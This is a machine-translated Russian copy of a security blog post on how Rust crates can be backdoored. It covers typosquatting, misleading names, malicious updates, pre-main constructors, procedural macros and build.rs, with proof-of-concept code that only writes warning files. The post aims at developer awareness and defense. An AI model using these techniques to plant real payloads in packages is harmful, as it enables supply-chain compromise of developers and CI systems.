Backdooring Rust crates for fun and profit

Первоначально опубликовано на моем сайте: https://kerkour.com/rust-crate-backdoor

Атаки на цепочки поставок в наши дни — это все ярость, будь то доставка RAT, майнеров криптовалют или похитителей учетных данных.

В Rust пакеты называются crates и (чаще всего) размещаются в центральном репозитории: https://crates.io для лучшей обнаруживаемости.

Мы изучим 8 техник для достижения удаленного выполнения кода (RCE) на машинах разработчиков, CI/CD или пользователей. Я добровольно проигнорировал губительные алгоритмы backdoored, такие как криптографические примитивы или обфусцированный код, потому что это совсем другая тема.

Цель этой статьи — повысить осведомленность разработчиков о том, как легко осуществить подобные атаки и насколько они могут быть губительны.

Конечно, злоумышленник может комбинировать эти техники, чтобы сделать их более эффективными и скрытными.

Интересуетесь безопасностью и Rust? Получите мой курс Black Hat Rust

Содержание:

  • Типосквоттинг
  • Вводящее в заблуждение имя
  • Переходные зависимости
  • Обновление «x.x.1»
  • Вредоносное обновление
  • Выполнение кода перед основным
  • Вредоносные макросы
  • build.rs
  • Некоторые заключительные мысли
  • Код находится на GitHub

Типосквоттинг

Назвав крейт очень похожим образом на популярный, мы можем ожидать, что ненулевое число разработчиков сделает опечатку в названии, либо при поиске на crates.io, либо при установке крейта.

В качестве примера, я только что опубликовал крейт num_cpu, который нацелен на крейт num_cpus с почти 43 000 000 загрузок.

Когда вы смотрите на оба крейта на crates.io, очень трудно определить, какой из них легитимный, а какой вредоносный.

На самом деле, мой крейт num_cpu был скачан 24 раза менее чем за 24 часа, но я не уверен, боты это или реальные люди (я не встраивал никакой активной полезной нагрузки, чтобы избежать головной боли для всех участников).

Как узнать, является ли ящик легитимным или нет?

Это сложно! Вы можете посмотреть на раздел «Владельцы» или общее количество загрузок.

Но все же это не идеально: я мог бы придумать свой профиль crates.io, чтобы выглядеть как известный разработчик.

Вводящее в заблуждение название

Все крейты на crates.io живут в глобальном пространстве имен, что означает отсутствие организационной привязки.

Таким образом, организации, проекты и разработчики полагаются на префиксы, чтобы их пакеты можно было обнаружить и сгруппировать. Например, tokio-stream или actix-http.

Проблема: любой может загрузить пакет с заданным префиксом. Например, я только что загрузил пакет tokio-backdoor. Хотя трудно придумать более явное название, представьте, если бы я назвал этот пакет tokio-workerpool или tokio-future.

Используя вводящие в заблуждение метаданные, такие как README, repository и tags, злоумышленник может сделать так, чтобы этот крейт выглядел как официальный.

Как обнаружить эти мошеннические действия?

Опять же, это сложно!

Переходные зависимости

Зарывая зависимость глубоко в дерево зависимостей, злоумышленник может скрыть скрытый крейт.

Вероятность проверки кода всех переходных зависимостей равна приблизительно 0.

Например, допустим, я хочу сделать бэкдор для популярного крейта. Я могу сделать Pull Request с новой зависимостью, скажем, tokio-helpers. Хитрость в том, что бэкдорится не tokio-helpers, а зависимость от зависимости от … от tokio-helpers.

Обновление «x.x.1»

Выпуская обновление x.x.1, злоумышленник может скомпрометировать всех сопровождающих, полагающихся на cargo update для обновления своих зависимостей. Например, с 1.12.0 до 1.12.1 или с 0.5.13 до 0.5.14.

Из-за того, как работает семантическая версионность, сопровождающий, полагающийся на cargo update для поддержания своих зависимостей в актуальном состоянии, установит взломанную версию.

Эта техника не обязательно требует сотрудничества с автором ящика. Злоумышленнику нужен только токен crates.io, который мог быть украден в результате предыдущей компрометации.

Как защитить?

Привязать точную версию зависимости, например, tokio = "=1.0.0", но тогда вы потеряете исправления ошибок.

Вредоносное обновление

Вариантом предыдущей техники является использование флага --allow-dirty команды cargo publish.

Сделав это, например, в сочетании с обновлением x.x.1, злоумышленник может опубликовать crate на crates.io без необходимости фиксировать код в публичном репозитории.

Это становится порочным, так как совершенно возможно сделать так, чтобы теги Git и версии crates.io совпадали, в то время как код отличается! Нет абсолютно никаких гарантий, что код на crates.io соответствует коду на GitHub, даже если теги и номера версий совпадают!

Как защитить?

Метод защиты — это вендор зависимостей (с помощью cargo vendor) и тщательный аудит диффов для каждого обновления.

Выполняйте код перед main

Один из принципов Rust — никакой жизни перед main, но все еще возможно запустить код перед main, злоупотребляя тем, как работают исполняемые файлы.

Другими словами, можно запустить код, не вызывая его.

Это можно сделать с помощью секции .init_array в Linux или FreeBSD, секции __DATA,__mod_init_func в macOS / iOS и секций .ctors или .CRT$XCU в Windows.

Вот пример, извлеченный из крейта startup:

#[macro_export]
macro_rules! on_startup {
    ($($tokens:tt)*) => {
        const _: () = {
            // pulled out and scoped to be unable to see the other defs because
            // of the issues around item-level hygene.
            extern "C" fn __init_function() {
                // Note: currently pointless, since even when loaded at runtime
                // via dlopen, panicing before main makes the stdlib abort.
                // However, if that ever changes in the future, we want to guard
                // against unwinding over an `extern "C"` boundary, so we force
                // a double-panic, which will trigger an abort (rather than have
                // any UB).
                let _guard = $crate::_private::PanicOnDrop;
                // Note: ensure we still forget the guard even if `$tokens` has
                // an explicit `return` in it somewhere.
                let _ = (|| -> () { $($tokens)* })();
                $crate::_private::forget(_guard);
            }
            {
                #[used]
                #[cfg_attr(
                    any(target_os = "macos", target_os = "ios", target_os = "tvos"),
                    link_section = "__DATA,__mod_init_func",
                )]
                // These definitely support .init_array
                #[cfg_attr(
                    any(
                        target_os = "linux",
                        target_os = "android",
                        target_os = "freebsd",
                        target_os = "netbsd",
                    ),
                    link_section = ".init_array"
                )]
                // Assume all other unixs support .ctors
                #[cfg_attr(all(
                    any(unix, all(target_os = "windows", target_env = "gnu")),
                    not(any(
                        target_os = "macos", target_os = "ios",
                        target_os = "tvos", target_os = "linux",
                        target_os = "android", target_os = "freebsd",
                        target_os = "netbsd",
                    ))
                ), link_section = ".ctors")]
                #[cfg_attr(all(windows, not(target_env = "gnu")), link_section = ".CRT$XCU")]
                static __CTOR: extern "C" fn() = __init_function;
            };
        };
    };
}
Вход в полноэкранный режим Выход из полноэкранного режима

Затем, мы можем сделать бэкдор крейта следующим образом:

lib.rs

pub fn do_something() {
    println!("do something...");
}

startup::on_startup! {
    println!("Warning! You just ran a malicious package. Please read https://kerkour.com/rust-crate-backdoor for more information.");
}
Войти в полноэкранный режим Выйти из полноэкранного режима

Любой крейт, использующий бэкдорный крейт, будет скомпрометирован, даже если он является зависимостью от зависимости от зависимости от ….:

main.rs

fn main() {
    backdoored_crate::do_something();
}
Вход в полноэкранный режим Выйти из полноэкранного режима

Вредоносные макросы

Макросы Rust — это код, который выполняется во время компиляции или проверки груза. Можно ли им злоупотреблять?

Оказывается, да! Возможность запускать код во время компиляции означает, что любая из ваших зависимостей может загрузить вредоносное ПО или перехватить файлы с вашего компьютера.

Этот риск усиливается тем, что rust-analyzer также расширяет макросы при загрузке проекта, поэтому машина может быть взломана, просто открыв в редакторе кода (с плагином rust-analyzer) папку с криейтом, одна из зависимостей которого заблокирована.

Будь то прямая или косвенная зависимость!

Эти атаки особенно привлекательны для злоумышленников, поскольку машины разработчиков и CI/CD (цели этих атак) часто содержат учетные данные, которые они могут использовать для поворота или распространения большего количества вредоносного ПО.

Вот два примера вредоносных макросов.

Во-первых, макрос атрибута:

lib.rs

use proc_macro::TokenStream;
use std::path::Path;

fn write_warning(file: &str) {
    let home = std::env::var("HOME").unwrap();
    let home = Path::new(&home);
    let warning_file = home.join(file);

    let message = "Warning! You just ran a malicious package. Please read https://kerkour.com/rust-crate-backdoor for more information.";
    let _ = std::fs::write(warning_file, message);
}

#[proc_macro_derive(Evil)]
pub fn evil_derive(_item: TokenStream) -> TokenStream {
    write_warning("WARNING_DERIVE");

    "".parse().unwrap()
}
Вход в полноэкранный режим Выйти из полноэкранного режима

Который один раз используется криейтом, и этого достаточно, чтобы скомпрометировать его и все его зависимые компоненты.

lib.rs

use malicious_macro::Evil;

#[derive(Evil)]
pub struct RandomStruct {}
Войти в полноэкранный режим Выход из полноэкранного режима

Затем процедурный макрос, похожий на функцию:

lib.rs

#[proc_macro]
pub fn evil(_item: TokenStream) -> TokenStream {
    write_warning("WARNING_MACRO");

    "".parse().unwrap()
}
Ввести полноэкранный режим Выйти из полноэкранного режима

Опять же, если любая из ваших (переходных или нет) зависимостей вызывает этот макрос, этого достаточно для компромисса во время компиляции.

lib.rs

pub fn do_something() {
    println!("do something...");
}

malicious_macro::evil!();
Войти в полноэкранный режим Выйти из полноэкранного режима

main.rs

fn main() {
    lib::do_something();
}
Войти в полноэкранный режим Выход из полноэкранного режима

build.rs

Как и вредоносные макросы, build.rs запускается cargo check и rust-analyzer. Таким образом, для компрометации машины достаточно открыть редактором кода папку с критом, у которого одна из зависимостей удалена.

В то время как можно проверить код крейта на https://docs.rs при нажатии на кнопку [src], оказалось, что я не смог найти способ проверить файлы build.rs. Таким образом, в сочетании с вредоносным обновлением это почти идеальный бэкдор.

На самом деле можно проверить файлы build.rs на docs.rs, используя представление источника: https://docs.rs/crate/[CRATE]/[VERSION]/source/. Спасибо Джошуа 🙏

build.rs

use std::path::Path;

fn main() {
    let home = std::env::var("HOME").unwrap();
    let home = Path::new(&home);
    let warning_file = home.join("WARNING_BUILD");

    let message = "Warning! You just ran a malicious package. Please read https://kerkour.com/rust-crate-backdoor for more information.";
    let _ = std::fs::write(warning_file, message);
}
Вход в полноэкранный режим Выход из полноэкранного режима

Эта техника менее скрытна, чем вредоносные макросы, поскольку файлы build.rs отображаются в процессе компиляции и их легче обнаружить.

Некоторые заключительные мысли

Поскольку Rust разработан для чувствительных приложений, где важна надежность, таких как встраиваемые, сетевые или блокчейн-проекты, он может вызывать опасения.

Кроме того, хотя предпочтение небольших и многократно используемых пакетов программного обеспечения может быть философски привлекательным, оно имеет серьезные практические последствия.

Наконец, давайте будем честными, у кого есть ресурсы для тщательного аудита каждой из своих зависимостей (включая переходные) при каждом обновлении?

Я вижу 3 основных направления для снижения воздействия и рисков, связанных с подобными атаками.

Во-первых, большая стандартная библиотека уменьшит потребность во внешних зависимостях и тем самым снизит риск компрометации.

Во-вторых, Rust поддерживает git зависимости. Использование Git-зависимостей, прикрепленных к коммиту, может предотвратить некоторые из вышеупомянутых техник.

В-третьих, использование облачных сред для разработчиков, таких как GitHub Codespaces или Gitpod. Работая в «песочнице» для каждого проекта, можно значительно уменьшить последствия компрометации.

Код находится на GitHub

Как обычно, вы можете найти код на GitHub: github.com/skerkour/black-hat-rust (пожалуйста, не забудьте отметить репо 🙏).

Оцените статью
devanswers.ru
Добавить комментарий